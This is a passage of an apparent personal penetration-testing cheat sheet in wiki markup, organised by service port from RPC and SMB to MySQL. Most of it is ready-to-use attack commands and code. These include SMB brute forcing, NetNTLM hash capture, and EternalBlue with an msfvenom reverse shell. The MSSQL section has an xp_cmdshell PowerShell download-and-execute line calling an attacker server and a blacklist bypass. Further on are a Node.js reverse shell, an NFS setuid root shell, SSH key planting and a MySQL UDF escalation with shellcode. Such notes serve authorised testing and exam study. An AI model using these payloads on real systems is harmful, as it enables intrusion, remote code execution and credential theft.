192.168.207.60:113      nobody&lt;br /&gt;
192.168.207.60:8080&lt;br /&gt;
192.168.207.60:10000    eleanor&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 135, 593 - MS RPC ==&lt;br /&gt;
&lt;br /&gt;
=== Enum with creds ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb/rpcclient-enumeration&lt;br /&gt;
# If you have access to rpcclient, you can enumerate target&lt;br /&gt;
# Users enumeration&lt;br /&gt;
List users: querydispinfo and enumdomusers&lt;br /&gt;
Get user details: queryuser&lt;br /&gt;
Get user groups: queryusergroups&lt;br /&gt;
GET SID of a user: lookupnames&lt;br /&gt;
Get users aliases: queryuseraliases [builtin|domain]&lt;br /&gt;
# Groups enumeration&lt;br /&gt;
List groups: enumdomgroups&lt;br /&gt;
Get group details: querygroup&lt;br /&gt;
Get group members: querygroupmem&lt;br /&gt;
Aliasgroups enumeration&lt;br /&gt;
List alias: enumalsgroups&lt;br /&gt;
Get members: queryaliasmem builtin|domain&lt;br /&gt;
# Domains enumeration&lt;br /&gt;
List domains: enumdomains&lt;br /&gt;
Get SID: lsaquery&lt;br /&gt;
Domain info: querydominfo&lt;br /&gt;
# Shares enumeration&lt;br /&gt;
Enumerate all available shares: netshareenumall&lt;br /&gt;
Info about a share: netsharegetinfo&lt;br /&gt;
# More SIDs&lt;br /&gt;
Find SIDs by name: lookupnames&lt;br /&gt;
Find more SIDs: lsaenumsid&lt;br /&gt;
RID cycling (check more SIDs): lookupsids&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Password Reset over RPC ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://room362.com/post/2017/reset-ad-user-password-with-linux/&lt;br /&gt;
rpcclient $&amp;gt; setuserinfo2&lt;br /&gt;
rpcclient $&amp;gt; setuserinfo2 audit2020 23 &#039;Password123!&#039;&lt;br /&gt;
# One-liner&lt;br /&gt;
root@kali# rpcclient -U &#039;blackfield.local/support%#00^BlackKnight&#039; 10.10.10.192 -c &#039;setuserinfo2 audit2020 23 &amp;quot;Password123!&amp;quot;&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 139, 445 - SMB/SAMBA ==&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
crackmapexec smb  -u  -p&lt;br /&gt;
hydra -V -f -L  -P  smb:// -u -vV&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture hash using responder or smbserver ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker start responder or smbserver.&lt;br /&gt;
responder -I attackerip&lt;br /&gt;
/usr/bin/impacket-smbserver share . -smb2support&lt;br /&gt;
# On target&lt;br /&gt;
dir \\attackerip\something&lt;br /&gt;
view=//attackerip/share&lt;br /&gt;
# Looking at the smbserver or responder you should have a NetNTLM hash. Copy all the text and use hashcat -m 5600 to crack it.&lt;br /&gt;
# Example&lt;br /&gt;
ted::EXAM:aaaaaaaaaaaaaaaa:a8ecd5aa9380ac8a4fbb1675b1ecaaaf:010100000000000000171a603bf4d801c188d310ceebaab30000000001001000680070006d00700048004d004600620003001000680070006d00700048004d00460062000200100075006d005200700049007400570058000400100075006d005200700049007400570058000700080000171a603bf4d8010600040002000000080030003000000000000000010000000020000096dbb345b8d0cc5a1bc8d14cd3277457913639d19c3307e6e04ee03bb7864ee20a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100310039002e003200330036000000000000000000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Command Execution through smbmap ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smbmap -u &#039;backup&#039; -p &#039;backup&#039;  -H 10.11.1.227 -x &amp;quot;net user&amp;quot; --mode psexec&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Download files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Download all&lt;br /&gt;
smbclient ///&lt;br /&gt;
&amp;gt; mask &amp;quot;&amp;quot;&lt;br /&gt;
&amp;gt; recurse&lt;br /&gt;
&amp;gt; prompt&lt;br /&gt;
&amp;gt; mget *&lt;br /&gt;
#Download everything to current directory&lt;br /&gt;
&lt;br /&gt;
# Download all files from a directory recursively&lt;br /&gt;
smbclient /// -U  -c &amp;quot;prompt OFF;recurse ON;mget *&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== EternalBlue ms17-010 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/worawit/MS17-010/&lt;br /&gt;
https://github.com/helviojunior/MS17-010 # Modified version of worawits repo&lt;br /&gt;
# If windows xp, use send_and_execute.py&lt;br /&gt;
# Generate payload using msfvenom&lt;br /&gt;
python2 send_and_execute.py 10.10.10.10 shell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enumerate samba version ===&lt;br /&gt;
&lt;br /&gt;
[https://4pfsec.com/manually-enumerating-smb-version/ https://4pfsec.com/manually-enumerating-smb-version/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Run the below script while wireshark is listening&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
#Author: rewardone&lt;br /&gt;
#Description:&lt;br /&gt;
# Requires root or enough permissions to use tcpdump&lt;br /&gt;
# Will listen for the first 8 packets of a null login&lt;br /&gt;
# and grab the SMB Version&lt;br /&gt;
#Notes:&lt;br /&gt;
# Will sometimes not capture or will print multiple&lt;br /&gt;
# lines. May need to run a second time for success.&lt;br /&gt;
if [ -z $1 ]; then echo &amp;quot;Usage: ./smbver.sh RHOST {RPORT}&amp;quot; &amp;amp;&amp;amp; exit; else rhost=$1; fi&lt;br /&gt;
if [ ! -z $2 ]; then rport=$2; else rport=139; fi&lt;br /&gt;
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 10 2&amp;gt;/dev/null | grep -i &amp;quot;samba\|s.a.m&amp;quot; | tr -d &#039;.&#039; | grep -oP &#039;UnixSamba.*[0-9a-z]&#039; | tr -d &#039;\n&#039; &amp;amp; echo -n &amp;quot;$rhost: &amp;quot; &amp;amp;&lt;br /&gt;
echo &amp;quot;exit&amp;quot; | smbclient -L $rhost 1&amp;gt;/dev/null 2&amp;gt;/dev/null&lt;br /&gt;
echo &amp;quot;&amp;quot; &amp;amp;&amp;amp; sleep .1&lt;br /&gt;
# Once you&#039;ve run the script, go back to wireshark and follow one of the smb TCP stream&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Enumerate ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
enum4linux -A&lt;br /&gt;
nmap -v -p 139,445 -oG smb.txt 192.168.11.200-254&lt;br /&gt;
nbtscan -r 192.168.11.0/24&lt;br /&gt;
nmblookup -A target&lt;br /&gt;
rpcclient -U &amp;quot;&amp;quot; target // connect as blank user /nobody&lt;br /&gt;
smbclient ///&lt;br /&gt;
smbclient -L //&lt;br /&gt;
smbclient //192.168.31.147/kathy -I 192.168.31.147&lt;br /&gt;
smbmap -H&lt;br /&gt;
smbmap -u &#039;&#039; -p &#039;&#039; -H&lt;br /&gt;
smbmap -u &#039;guest&#039; -p &#039;&#039; -H&lt;br /&gt;
smbmap -u &#039;&#039; -p &#039;&#039; -H  -R&lt;br /&gt;
smbmap -u &amp;quot;&amp;quot; -p &amp;quot;&amp;quot; -d MYGROUP -H 10.11.1.22&lt;br /&gt;
crackmapexec smb&lt;br /&gt;
crackmapexec smb  -u &#039;&#039; -p &#039;&#039;&lt;br /&gt;
crackmapexec smb  -u &#039;guest&#039; -p &#039;&#039;&lt;br /&gt;
crackmapexec smb  -u &#039;&#039; -p &#039;&#039; --shares&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Mount share ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mount -t auto --source //x.x.x.x&lt;br /&gt;
mount -t cifs //x.x.x.x/share /mnt/share&lt;br /&gt;
mount -t cifs -o &amp;quot;username=user,password=password&amp;quot; //x.x.x.x/share /mnt/share&lt;br /&gt;
smbclient ///&lt;br /&gt;
smbclient /// -U&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
psexec.py /:@&lt;br /&gt;
psexec.py /@ -hashes :&lt;br /&gt;
wmiexec.py /:@&lt;br /&gt;
wmiexec.py /@ -hashes :&lt;br /&gt;
smbexec.py /:@&lt;br /&gt;
smbexec.py /@ -hashes :&lt;br /&gt;
atexec.py /:@&lt;br /&gt;
atexec.py /@ -hashes :&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Eternal Blue ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
MS17-010 - EternalBlue&lt;br /&gt;
MS08-067 - MS08-067&lt;br /&gt;
CVE-2017-7494 - CVE-2017-7494&lt;br /&gt;
# Send_and_Exectue.py&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp -f exe LHOST=10.10.14.17 LPORT=4444 &amp;gt; exploit.exe&lt;br /&gt;
python2 send_and_execute.py 10.10.10.40 exploit.exe&lt;br /&gt;
-----------------------------------------&lt;br /&gt;
# Command Execution&lt;br /&gt;
https://www.exploit-db.com/exploits/42315&lt;br /&gt;
# Uncomment this line and add your CMD&lt;br /&gt;
service_exec(conn, r&#039;cmd /c copy c:\pwned.txt c:\pwned_exec.txt&#039;)&lt;br /&gt;
-----------------------------------------&lt;br /&gt;
# AutoBlue&lt;br /&gt;
# Generate shellcode from shell_prep.sh&lt;br /&gt;
https://github.com/3ndG4me/AutoBlue-MS17-010&lt;br /&gt;
python eternalblue_exploit*.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Man in the middle ===&lt;br /&gt;
&lt;br /&gt;
==== URI file attack ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup for Vault&lt;br /&gt;
# If Windows host and SMB share is writeable we can upload a file that the target will interpret as a Windows shortcut. We will need Responder.&lt;br /&gt;
Kali &amp;gt; cat @file.url # Can also save as desktop.ini&lt;br /&gt;
[InternetShortcut]&lt;br /&gt;
URL=anything&lt;br /&gt;
WorkingDirectory=anything&lt;br /&gt;
IconFile=\\192.168.118.14\%USERNAME%.icon&lt;br /&gt;
IconIndex=1&lt;br /&gt;
# Start responder&lt;br /&gt;
sudo responder -I tun0 -v&lt;br /&gt;
# Hashtype&lt;br /&gt;
net-NTLMv2&lt;br /&gt;
# Upload file to SMB and wait for a user to access the file.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 161 - SNMP ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
snmp-check  [-p PORT]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 194,6667,6660-7000 - IRC ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Can use different clients, like irssi&lt;br /&gt;
# See notes from box; UT99&lt;br /&gt;
#Connection with random nickname&lt;br /&gt;
USER ran213eqdw123 0 * ran213eqdw123&lt;br /&gt;
NICK ran213eqdw123&lt;br /&gt;
#If a PING : is responded you need to send&lt;br /&gt;
#PONG :&lt;br /&gt;
VERSION&lt;br /&gt;
HELP&lt;br /&gt;
INFO&lt;br /&gt;
LINKS&lt;br /&gt;
HELPOP USERCMDS&lt;br /&gt;
HELPOP OPERCMDS&lt;br /&gt;
OPERATOR CAPA&lt;br /&gt;
ADMIN      #Admin info&lt;br /&gt;
USERS      #Current number of users&lt;br /&gt;
TIME       #Server&#039;s time&lt;br /&gt;
STATS a    #Only operators should be able to run this&lt;br /&gt;
NAMES      #List channel names and usernames inside of each channel -&amp;gt; Nombre del canal y nombre de las personas que estan dentro&lt;br /&gt;
LIST       #List channel names along with channel banner&lt;br /&gt;
WHOIS       #WHOIS a username&lt;br /&gt;
USERHOST    #If available, get hostname of a user&lt;br /&gt;
USERIP      #If available, get ip of a user&lt;br /&gt;
JOIN    #Connect to a channel&lt;br /&gt;
#Operator creds Brute-Force&lt;br /&gt;
OPER&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 389, 636, 3268, 3269 - LDAP ==&lt;br /&gt;
&lt;br /&gt;
=== Enumerate LDAP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -n -sV --script &amp;quot;ldap* and not brute&amp;quot; -p 389 dc-ip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump LDAP info ===&lt;br /&gt;
&lt;br /&gt;
Must have valid credentials&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pip3 install ldapdomaindump&lt;br /&gt;
ldapdomaindump  [-r ] -u &#039;\&#039; -p &#039;&#039; [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Search queries ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ldapsearch opens a connection to an LDAP server, binds, and performs a search using specified parameters.&lt;br /&gt;
ldapsearch -x -h  -b &amp;quot;dc=XXXX&amp;quot;&lt;br /&gt;
# Example&lt;br /&gt;
ldapsearch -x -H LDAP://192.168.89.122 -b &amp;quot;dc=hutch,dc=offsec&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 873 - rsync ==&lt;br /&gt;
&lt;br /&gt;
=== Commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync&lt;br /&gt;
# List shares&lt;br /&gt;
rsync -av --list-only rsync://192.168.243.126/&lt;br /&gt;
# Upload files&lt;br /&gt;
rsync -av test.txt rsync://192.168.243.126/fox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Upload SSH key ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1 Generate an SSH key&lt;br /&gt;
ssh-keygen -t rsa&lt;br /&gt;
# 2 If you are in a users folder, create a .ssh&lt;br /&gt;
mkdir .ssh&lt;br /&gt;
rsync -av .ssh TARGET_IP/home_dir/&lt;br /&gt;
# 3 Create a authorized_keys file and add the content of id_rsa.pub to this file&lt;br /&gt;
touch authorized_keys&lt;br /&gt;
echo -n &#039;CONTENT of id_rsa.pub&#039; &amp;gt;&amp;gt; authorized_keys&lt;br /&gt;
# 4 Transfer the authorized_keys to the target&lt;br /&gt;
rsync -av authorized_keys TARGET_IP/home_dir/.ssh/&lt;br /&gt;
# 5 SSH into the machine. You need to know the owner of home_dir&lt;br /&gt;
ssh -i id_rsa USER@TARGETIP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.netspi.com/blog/technical/network-penetration-testing/linux-hacking-case-studies-part-1-rsync/&lt;br /&gt;
https://book.hacktricks.xyz/pentesting/873-pentesting-rsync&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1098/1099/1050 - Java RMI ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Running Remote Method Guesser&lt;br /&gt;
# https://github.com/qtc-de/remote-method-guesser#installation&lt;br /&gt;
java -jar rmg-4.3.0-jar-with-dependencies.jar&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1433 - MSSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Microsoft SQL Server 2017 directory locations ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
\program files\microsoft sql server\mssql14.sqlexpress\mssql\backup\master.mdf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Execute commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#execute-commands&lt;br /&gt;
# Log in to mssql&lt;br /&gt;
/usr/bin/impacket-mssqlclient -db volume -windows-auth /:@&lt;br /&gt;
# Execute commands&lt;br /&gt;
# Username + Password + CMD command&lt;br /&gt;
crackmapexec mssql -d  -u  -p  -x &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Username + Hash + PS command&lt;br /&gt;
crackmapexec mssql -d  -u  -H  -X &#039;$PSVersionTable&#039;&lt;br /&gt;
# this turns on advanced options and is needed to configure xp_cmdshell&lt;br /&gt;
sp_configure &#039;show advanced options&#039;, &#039;1&#039;&lt;br /&gt;
RECONFIGURE&lt;br /&gt;
# this enables xp_cmdshell&lt;br /&gt;
sp_configure &#039;xp_cmdshell&#039;, &#039;1&#039;&lt;br /&gt;
RECONFIGURE&lt;br /&gt;
# Quickly check what the service account is via xp_cmdshell&lt;br /&gt;
EXEC master..xp_cmdshell &#039;whoami&#039;&lt;br /&gt;
# Bypass blackisted &amp;quot;EXEC xp_cmdshell&amp;quot;&lt;br /&gt;
‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net’ —&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== xp_cmdshell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#hacktricks-automatic-commands&lt;br /&gt;
# Need credentials&lt;br /&gt;
sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G&lt;br /&gt;
    ###the goal is to get xp_cmdshell working###&lt;br /&gt;
    1. try and see if it works&lt;br /&gt;
        xp_cmdshell `whoami`&lt;br /&gt;
        go&lt;br /&gt;
    2. try to turn component back on&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;xp_cmdshell&#039; , 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        xp_cmdshell `whoami`&lt;br /&gt;
        go&lt;br /&gt;
    3. &#039;advanced&#039; turn it back on&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;show advanced options&#039;, 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;xp_cmdshell&#039; , 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        xp_cmdshell &#039;whoami&#039;&lt;br /&gt;
        go&lt;br /&gt;
    xp_cmdshell &amp;quot;powershell.exe -exec bypass iex(new-object net.webclient).downloadstring(&#039;http://10.10.14.60:8000/ye443.ps1&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extracting hashes from .mdf file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xpn/Powershell-PostExploitation&lt;br /&gt;
# read this if troulbe&lt;br /&gt;
https://github.com/xpn/Powershell-PostExploitation/issues/1&lt;br /&gt;
# Run Powershell on linux&lt;br /&gt;
pwsh&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Add-Type -Path &#039;OrcaMDF.RawCore.dll&#039;&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Add-Type -Path &#039;OrcaMDF.Framework.dll&#039;&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; import-module .\Get-MDFHashes.ps1&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Get-MDFHashes -mdf &amp;quot;./master.mdf&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1521, 1522-1529 - Oracle TNS Listener ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1978, 1979, 1980 - Remote Mouse ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use nc to check header&lt;br /&gt;
# SIN 15win pwd pwd 300 : Indicating that the service requires authentication.&lt;br /&gt;
# SIN 15win nop nop 300 : Indicating that the service does not require authentication.&lt;br /&gt;
# Then use this exploit. Check writeup for PG mice and PWK IT dept 10.1.1.89.&lt;br /&gt;
https://github.com/p0dalirius/RemoteMouse-3.008-Exploit&lt;br /&gt;
# Edit the script to point to your Python HTTP server where nishang invoke tcp script is ready.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 2049 - NFS ==&lt;br /&gt;
&lt;br /&gt;
=== no_root_squash ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1252#Privilege_Escalation_NFS&lt;br /&gt;
&lt;br /&gt;
=== Access NFS through ssh tunnel ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Source https://medium.com/vieh-group/hacking-oscp-cheatsheet-ef63c43f919c&lt;br /&gt;
# Output from /etc/exports on target&lt;br /&gt;
/srv/Share 10.1.1.0/24(insecure,rw)&lt;br /&gt;
/srv/Share 127.0.0.1/32(no_root_squash,insecure,rw)&lt;br /&gt;
# Forward connection - Run the ssh command on attacker&lt;br /&gt;
ssh -f -N megumin@192.168.42.43 -L 2049:127.0.0.1:2049&lt;br /&gt;
mount -t nfs 127.0.0.1:/srv/pelota my_share&lt;br /&gt;
cd my_share&lt;br /&gt;
cat &amp;gt; shell.c&lt;br /&gt;
int main(){&lt;br /&gt;
  setuid(0);&lt;br /&gt;
  setgid(0);&lt;br /&gt;
  system(&amp;quot;/bin/bash&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
EOF&lt;br /&gt;
gcc shell.c -o shell&lt;br /&gt;
chmod u+s shell&lt;br /&gt;
# Reverse connection - Run the ssh command on target&lt;br /&gt;
# Beware that this means target will access attacker through ssh. Not as safe as forward connection.&lt;br /&gt;
ssh -N -R 192.168.119.176:2221:127.0.0.1:2049 aghanim@192.168.119.176&lt;br /&gt;
mount -v -t nfs -o port=2221,tcp localhost:/srv/Share mount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3000 - NodeJs ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell&lt;br /&gt;
# The Javascript code below is a Node.js reverse shell.&lt;br /&gt;
# Remember to change the IP address and PORT with the nc you are running.&lt;br /&gt;
(function(){&lt;br /&gt;
    var net = require(&amp;quot;net&amp;quot;),&lt;br /&gt;
        cp = require(&amp;quot;child_process&amp;quot;),&lt;br /&gt;
        sh = cp.spawn(&amp;quot;/bin/sh&amp;quot;, []);&lt;br /&gt;
    var client = new net.Socket();&lt;br /&gt;
    client.connect(8080, &amp;quot;192.168.33.1&amp;quot;, function(){&lt;br /&gt;
        client.pipe(sh.stdin);&lt;br /&gt;
        sh.stdout.pipe(client);&lt;br /&gt;
        sh.stderr.pipe(client);&lt;br /&gt;
    });&lt;br /&gt;
    return /a/; // Prevents the Node.js application form crashing&lt;br /&gt;
})();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3306 - MySQL/MariaDB ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf&lt;br /&gt;
# User-defined function (UDF)&lt;br /&gt;
# If you can login as root you can create a malicious functions to run commands.&lt;br /&gt;
https://www.exploit-db.com/exploits/1518&lt;br /&gt;
# You can also compile it on attacker if target dont have gcc. Use --static.&lt;br /&gt;
# Check if secure_file_priv. If empty means disabled&lt;br /&gt;
show variables like &#039;%secure_file_priv%&#039;;&lt;br /&gt;
# Find plugin path. Add the path on step file (dumpfile)&lt;br /&gt;
show variables like &#039;%plugin%&#039;;&lt;br /&gt;
$ gcc -g -c raptor_udf2.c&lt;br /&gt;
 * $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc&lt;br /&gt;
# Can also transfer exploit raptor_udf2.so with hex.&lt;br /&gt;
## xxd -p raptor_udf2.so | tr -d &#039;\n&#039; &amp;gt; raptor_udf2.so.hex&lt;br /&gt;
 * $ mysql -u root -p&lt;br /&gt;
 * Enter password:&lt;br /&gt;
 * [...]&lt;br /&gt;
# Set variable for shellcode&lt;br /&gt;
## set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;&lt;br /&gt;
 * mysql&amp;gt; use mysql;&lt;br /&gt;
 * mysql&amp;gt; create table foo(line blob);&lt;br /&gt;
 * mysql&amp;gt; insert into foo values(load_file(&#039;/home/raptor/raptor_udf2.so&#039;));&lt;br /&gt;
# Output shellcode to file on target&lt;br /&gt;
## select binary @shell into dumpfile &#039;/usr/lib/raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; select * from foo into dumpfile &#039;/usr/lib/raptor_udf2.so&#039;;&lt;br /&gt;
